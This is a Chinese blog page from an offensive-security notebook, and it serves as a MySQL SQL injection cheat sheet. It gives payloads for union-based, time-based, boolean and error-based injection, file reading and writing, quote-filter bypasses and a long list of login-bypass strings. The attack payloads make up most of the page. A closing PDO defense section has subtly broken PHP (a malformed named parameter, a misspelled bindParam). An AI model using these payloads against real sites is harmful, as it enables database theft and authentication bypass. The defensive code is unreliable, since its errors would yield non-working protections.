Henry's Blog
  • CobaltStrike系列
    • CobaltStrike的基本操作
    • CobaltStrike会话管理
    • CobaltStrike重定向服务
    • CobaltStrike钓鱼攻击
    • 凭据导出与存储
    • Beacon的常用操作
    • DnsBeacon详解
    • 权限提升
    • 简单的内网信息收集
    • Cross2生成LinuxShell
    • CNA插件开发
    • Profile编写规则
    • BOF开发
    • execute-assembly原理
    • Vps搭建可能遇到的问题
  • OPSEC(免杀)
    • BypassPPL
    • Certutil绕过技巧
    • DLL劫持技术(白+黑)
    • PEB伪装
    • PpidSpoofing
    • Python反序列化免杀
    • WebShell绕过技巧
    • mimikatz免杀
    • 利用CobaltStrikeProfile实现免杀
    • 利用Windows异常机制实现Bypass
    • 削弱WindowsDefender
    • 模拟Powershell实现Bypass
    • 浅谈CobaltStrikeUDRL
    • 添加用户和计划任务(Bypass)
    • 移除NtDll的hook
    • 定位修改MsfShellcode特征码实现免杀
    • 利用COM接口实现进程断链执行.md
    • 免杀工具篇
      • Invoke-Obfuscation
      • Shellter
    • 流量检测逃避
      • CobaltStrike流量逃避.md
      • MSF流量加密.md
      • NC反弹Shell流量加密.md
  • Shellcode加密
    • 前置知识
    • XOR加密
    • AES加密
  • Shellcode加载器
    • 常见的加载方式
    • 分离加载
    • 创建纤程加载
    • 动态调用API加载
    • 基于APC注入加载
    • 基于反调试加载
    • 基于回调函数加载
    • 基于线程池加载
    • 模块踩踏
    • 进程镂空注入(傀儡进程)
    • 反射dll注入(内嵌式)
  • Web渗透
    • 信息收集
    • 各类Webshell
    • 基本漏洞利用
    • 远程命令执行漏洞
    • sql注入
    • sqlmap的使用方法
  • 内网渗透
    • 内网渗透前置知识
    • BadUsb制作
    • Linux反弹Shell总结
    • 内网渗透技术总结
    • 横向移动
      • GoToHttp
      • MS14-068
      • PassTheHash
      • PassTheTicket
      • Psexec
      • RustDesk
      • SMB横移
      • WMI横移
      • 用户枚举与爆破
    • 流量加密
      • CobaltStrike流量加密
      • MsfShell流量加密
      • OpenSSL加密反弹shell
  • 协议分析
    • TCP_IP协议
  • 权限提升
    • 土豆提权原理
    • UAC提权
  • 蓝队技术
    • 应急响应流程总结
  • 进程注入
    • Conhost注入
    • session0注入
    • 内核回调表注入
    • 剪切板注入
  • 逆向技术
    • HOOK技术
    • IDA遇到的坑
    • Shellcode的原理与编写
    • Windbg的使用
    • 使用Stardust框架编写Shellcode
    • PeToShellcode
    • 破解系列
      • PUSH窗体大法
      • VM绕过技巧(易语言)
      • Crackme_1
      • 反破解技术
      • 按钮事件特征码
      • 逆向调试符号
      • 破解实例
        • IDA逆向注册码算法
  • 钓鱼技术
    • Flash网页钓鱼
    • LNK钓鱼
    • 自解压程序加载木马
  • 隧道应用
    • 隧道应用前置知识
    • BurpSuite上游代理
    • DNS隧道传输
    • EarthWorm内网穿透
    • Frp内网穿透
    • ICMP隧道传输
    • MsfPortfwd端口转发
    • Neo-reGeorg内网穿透
    • NetCat工具使用
    • Netsh端口转发
    • SSH端口转发
    • 正向连接与反向连接
  • 基础学习
    • C和C++
      • C++编程
      • C程序设计
    • Linux学习
      • Linux Shell编程
      • linux基础
    • Python基础
      • python之Socket编程
      • python之多线程操作
      • python基础
      • python算法技巧
    • Qt基础
      • Qt笔记
    • 逆向基础
      • PE结构
      • Win32
      • 汇编语言
  • 漏洞复现
    • Web漏洞
      • ApacheShiro反序列化漏洞
    • 系统漏洞
      • Linux漏洞
        • ShellShock(CVE-2014-6271)
  • 靶场系列
    • Web靶场
      • pikachu靶场
      • sqli-labs
      • upload-labs
    • 内网靶场
      • Jarbas靶场
      • SickOS靶场
      • W1R3S靶场
      • prime靶场
      • vulnstack靶场系列一
      • vulnstack靶场系列二
      • vulnstack靶场系列四
  • 代码审计
    • PHP代码审计基础
  • 一些杂七杂八的
    • 开发工具与环境
      • Github的使用
      • JSP环境搭建
      • Pycharm设置代码片段
      • VS2017安装番茄助手(破解版)
      • VisualStudio项目模板的使用
      • WindowsServer搭建IIS环境
      • 安装Scoop
      • c++安装vcpkg
      • dotnet-cnblog的安装与使用
      • gitbook使用教程
      • kali安装burpsuite
      • 配置win2012域服务器
      • VSCode配置MinGW
    • 踩坑记录
      • BurpSuite导入证书
      • Powershell禁止执行脚本
      • centos7没有显示ip
      • kali安装pip2
      • oracle12没有scott用户
由 GitBook 提供支持
在本页
  • 常用的mysql语句
  • 创建mysql用户
  • 读取文件内容
  • 写入文件内容
  • 时间盲注常用语句
  • 报错注入常用语句
  • mysql自带的总表
  • Sql注入类型
  • 联合查询注入
  • 基于时间的盲注
  • 基于布尔的盲注
  • 四种报错注入
  • sql注入常用绕过
  • 1.HEX编码绕过单双引号过滤
  • 2.参数加密注入
  • 3.宽字节绕过单双引号过滤
  • 万能密码注入
  • 介绍
  • user字段注入
  • pass字段注入
  • 常用万能密码
  • PDO技术防御sql注入
  • 调用quote函数
  • 预处理sql语句:
  1. Web渗透

sql注入

上一页远程命令执行漏洞下一页sqlmap的使用方法

最后更新于7个月前

常用的mysql语句

创建mysql用户

#‘host’的值为指定哪些ip可以登录,值为‘%’表示任何人可以登录,值为'localhost'仅允许本机登录
CREATE USER 'username'@'host' IDENTIFIED BY 'password';	  

此处创建用户名为test, 密码为123456

读取文件内容

#读取指定路径的文件内容
select load_file('c:/phpstudy/www/key.txt')

写入文件内容

#向指定路径的文件写入内容
select '123' into outfile 'c:/flag.txt'

注意:如果不能写入文件,先查看mysql的配置文件,若secure_file_priv的值为NULL, 请修改mysql.ini文件

修改mysql.ini 文件,在[mysqld] 下加入secure_file_priv =,随后重启mysql服务

show global variables like '%secure%';

修改mysql.ini 文件,在[mysqld] 下加入secure_file_priv =,保存,重启mysql。

时间盲注常用语句

sleep(秒数)

#sleep通常配合if语句实现时间盲注
select * from sqlfaker.news where id=1 and sleep(1)

if(条件,true,false)

#条件若为真,返回且执行ture,否则返回且执行false
select if(1=1,1,2)

length(字符串)

#获取字符串的长度
select length(database())

mid(str,首位,个数)

limit(start, length), 参数start是从0开始的

limit(0,1) #0表示第一行,获取表第一行的内容
limit(1,1) #1表示第二行,获取表第二行的内容
limit(0,2) #获取表前面两行的内容

报错注入常用语句

extractvalue(1,sql注入语句)

updatexml(1,sql注入语句,0)

extractvalue(1,select database())
updatexml(1,select database(),0)

mysql自带的总表

Information_schema:mysql5.0以上版本自带数据库,记录当前数据库所有数据库名、表名、列名

表名
作用

Information_schema.schemata

存放所有数据库名的表

information_schema.tables

存放所有表名的表

Information_schema.columns

存放所有列名的表

列名
作用

table_name

表的列名

column_name

列的列名

table_schema

数据库的列名,存在于information_schema.tables与Information_schema.columns

schema_name

数据库的列名,只存在information_schema.schemata这张表中

Sql注入类型

联合查询注入

1.判断是否存在注入

select * from news where id=1 or 1=1     #逻辑为真,返回正常页面
select * from news where id=1 and 1=2    #逻辑为假,返回其他页面

2.判断列名数量

select * from news where id=1 order by 2     #可通过二分法来判断列名数量 

3.判断那些列名能显值

因为要确定将sql注入语句写入到能显值得列名中

select * from news where id=1 union select 1,2   #看看哪个列名能显示值 

4.获取所有数据库名

#从information_schema.schemata表中获取所有的数据库名字
select * from news where id=1 union select schema_name,2 from information_schema.schemata

5.获取指定数据库的所有表名

#从information_schema.tables表中获取名为"sql"的数据库下的所有表名
select * from news where id=1 union select table_name,2 from information_schema.tables where table_schema="sql"

6.获取指定表的所有列名

#从information_schema.columns获取名为"news"的表下的所有列名
select * from news where id=1 union select column_name,2 from information_schema.columns where table_name="news"

7.获取指定数据库、表、列下的值

#从sql数据库的news表中获取列名为username和password的值
select * from news where id=1 union select username,password from sql.news

基于时间的盲注

1.猜当前数据库名字的长度:

id=1 and sleep(if(length(database())=1,0,5))

2.猜当前数据库的名字:

#ord()转换成ASCII码
id=1 and sleep(if(ord(mid(database(),1,1))=115,0,5))

id=1 and sleep(if(ord(mid(database(),2,1))=115,0,5))

3.猜指定数据库的表的长度:

#从information_schema.tables表中猜名为"database"的数据库的表的长度
id=1 and sleep(if(length((select table_name from information_schema.tables where table_schema="database" limit 0,1))=5,0,5))

id=1 and sleep(if(length((select table_name from information_schema.tables where table_schema="database" limit 1,1))=5,0,5))

4.猜指定数据库的表的名字:

#从information_schema.tables表中猜名为"database"的数据库的表的名字
id=1 and sleep(if(ord(mid((select table_name from information_schema.tables where table_schema="database" limit 0,1),1,1))=115,0,5))

id=1 and sleep(if(ord(mid((select table_name from information_schema.tables where table_schema="database" limit 1,1),1,1))=115,0,5))

5.猜指定表的字段的长度:

#从information_schema.columns表中猜名为"users"的表的字段的长度
id=1 and sleep(if(length((select column_name from information_schema.columns where table_name="users" limit 0,1))=1,0,5))

id=1 and sleep(if(length((select column_name from information_schema.columns where table_name="users" limit 1,1))=1,0,5))

6.猜指定表的字段的名字:

#从information_schema.columns表中猜名为"users"的表的字段的名字
id=1 and sleep(if(ord(mid((select column_name from information_schema.columns where table_name="users" limit 0,1),1,1))=115,0,5))

id=1 and sleep(if(ord(mid((select column_name from information_schema.columns where table_name="users" limit 1,1),1,1))=115,0,5))

7.猜指定数据库,表名、列名的值:

#从database.users表中猜用户和密码的长度
id=1 and sleep(if(length((select user,pass from database.users))=1,0,5))  

#从database.users表中猜用户和密码的内容
id=1 and sleep(if(ord(mid((select user,pass from database.users),1,1))=115,0,5))   

基于布尔的盲注

和上面的时间盲注流程差不多

id=1 and length(database())=1

id=1 and ord(mid(database(),1,1))=115

四种报错注入

1.Insert注入

针对用户注册页面,可以在账号框或者密码框注入sql语句, 这里演示在密码框插入sql语句

payload: mima' or updatexml (1,concat(0x7e,(version()),0),0) or '

构成的完整sql语句: INSERT INTO news(users,pass) VALUES ('xf123er','mima' or updatexml (1,concat(0x7e,(version()) or '')

2.update注入

针对用户信息修改页面,例如个人资料修改、用户密码修改等,这里就用修改用户密码举例

注入时要确保用户名是真实存在的, 否者sql语句将不会执行

用户名框输入admin; 密码框注入sql语句: faker’or updatexml(2,concat(0x7e,(version())),0)or'

构成的完整sql语句:update users SET password='faker’or updatexml(2,concat(0x7e,(version())),0)or''where username='admin'

3.delete注入

针对删除信息页面, 例如删除用户、删除数据等,

在用户名输入框注入sql语句: admin' or updatexml(2,concat(0x7e,(version())),0)#

构成的完整sql语句:delete from sqlfaker where username= 'admin' or updatexml(2,concat(0x7e,(version())),0)#'

简单来说sql语句中where = ?, 这个?必须是真实存在的, 若不存在整段sql语句就不会执行

4.limit注入

注意: limt注入仅适用与mysql5.X版本

针对查询前几行的信息页面, limit后面接上procedure analyse()函数实现报错注入

analyse()的参数有两个, 第一个参数填extractvalue报错注入语句, 第二个参数随便填个数字

#limit注入语句
select * from users where ID>0 order by ID limit 0,1 procedure analyse(extractvalue(1,concat(0x3a,version())),1)

sql注入常用绕过

1.HEX编码绕过单双引号过滤

通过对表名、列名和数据库名进行HEX编码, 可有效绕过单双引号过滤机制

2.参数加密注入

有些url里的参数是加密的,网站服务器在收到url加密过的参数时会对其进行解密,面对这种情况要先知道url参数采用的是什么加密方式, 然后对sql注入语句进行相应的加密

如下图所示,此网站都url参数采用base64编码, 那么我们的sql注入语句也要使用base64编码

3.宽字节绕过单双引号过滤

源于开发人员设置Mysql连接时的错误配置, mysql若采用gbk的编码格式, 则会将两个字节识别成一个汉字

set character_set_client=gbk

涉及注入的php函数addslashes() ,其作用是在每个单双引号前添加反斜杠,如下图所示

将闭合符号由单(双)引号修改成%df'

简单来说就是%df'就是把\吃掉然后变成了�\' , 由此来实现符号闭合

1%df' union select 1,user(),3 #

万能密码注入

介绍

一些后端代码会通过查询返回的行数来判断是否登录成功,若查询返回的是一行或多行, 后端代码会识别成登录成功

此处演示的sql查询语句: select * from users where user='$user' and pass='$password'

user字段注入

构造user字段的值: admin'#

完整sql查询语句: select * from users where user='admin'#' and pass='$password'

实际sql查询语句: select * from users where user='admin'

pass字段注入

**构造pass字段的值: ** 'or 1=1 or'

完整sql查询语句: select * from users where user='$user' and pass=''or 1=1 or''

实际sql查询语句: select * from users where true

mysql逻辑判断是从前往后排,==假and假or真or假==的整体逻辑为==真==

常用万能密码

' or 1='1
'or'='or'
admin
admin'--
admin' or 4=4--
admin' or '1'='1'--
admin888
"or "a"="a
admin' or 2=2#
a' having 1=1#
a' having 1=1--
admin' or '2'='2
')or('a'='a
or 4=4--
c
a'or' 4=4--
"or 4=4--
'or'a'='a
"or"="a'='a
'or''='
'or'='or'
1 or '1'='1'=1
1 or '1'='1' or 4=4
'OR 4=4%00
"or 4=4%00
'xor
admin' UNION Select 1,1,1 FROM admin Where ''='
1
-1%cf' union select 1,1,1 as password,1,1,1 %23
1
17..admin' or 'a'='a 密码随便
'or'='or'
'or 4=4/*
something
' OR '1'='1
1'or'1'='1
admin' OR 4=4/*
1'or'1'='1

PDO技术防御sql注入

调用quote函数

<?php
@$id = addcslashes($_GET['X']);  //对GET参数采取单双引号过滤机制
error_reporting(E_ALL ^ E_DEPRECATED);
$pdo = new PDO('mysql:host=localhost;dbname=test','root','root');  //创对象建PDO
$id = $pdo->quote($id);   //调用quote函数
$sql = "select * from users where id=$id";
if ($row = $pdo->query($sql)) {
	foreach($row as $key => $value){
		print_r($value);	
	}	
}
echo $sql;
?>

预处理sql语句:

1、通过命名参数防止注入

<?php
@$id = addcslashes($_GET['X']);
error_reporting(E_ALL ^ E_DEPRECATED);
$pdo = new PDO('mysql:host=localhost;dbname=test','root','root'); 
$sql = "select * from users where id:$id";  //定义sql语句
$stmt = $pdo->prepare($sql);    //预处理sql语句
$stmt->execute(array(":id"=>$id));   //execute参数为数组,执行预处理过的sql语句
echo $stmt->rowCount();   //返回执行sql语句后的结果命令行,大于0为成功,等于0为失败
?>

2、通过问号占位符防止注入

<?php
@$id = addcslashes($_GET['X']);
error_reporting(E_ALL ^ E_DEPRECATED);
$pdo = new PDO('mysql:host=localhost;dbname=test','root','root'); 
$sql = "select * from users where id=?";
$stmt = $pdo->prepare($sql);    //预处理sql语句
$stmt->execute(array($id));   //execute参数为数组,执行预处理过的sql语句
echo $stmt->rowCount();   //返回执行sql语句后的结果命令行,大于0为成功,等于0为失败
?>

3、通过bindParam()绑定参数

<?php
@$id = addcslashes($_GET['X']);
error_reporting(E_ALL ^ E_DEPRECATED);
$pdo = new PDO('mysql:host=localhost;dbname=test','root','root'); 
$sql = "select * from users where id:$id";
$stmt = $pdo->prepare($sql);  //预处理sql语句
$stmt->bindParm(":id",$id,PDO::PARAM_STR);
$stmt->execute();
echo $stmt->rowCount();
?>

img
img
img
img
img
img
img
img
img
img
img
img
img
img
image-20210521103735280
image-20210521103856650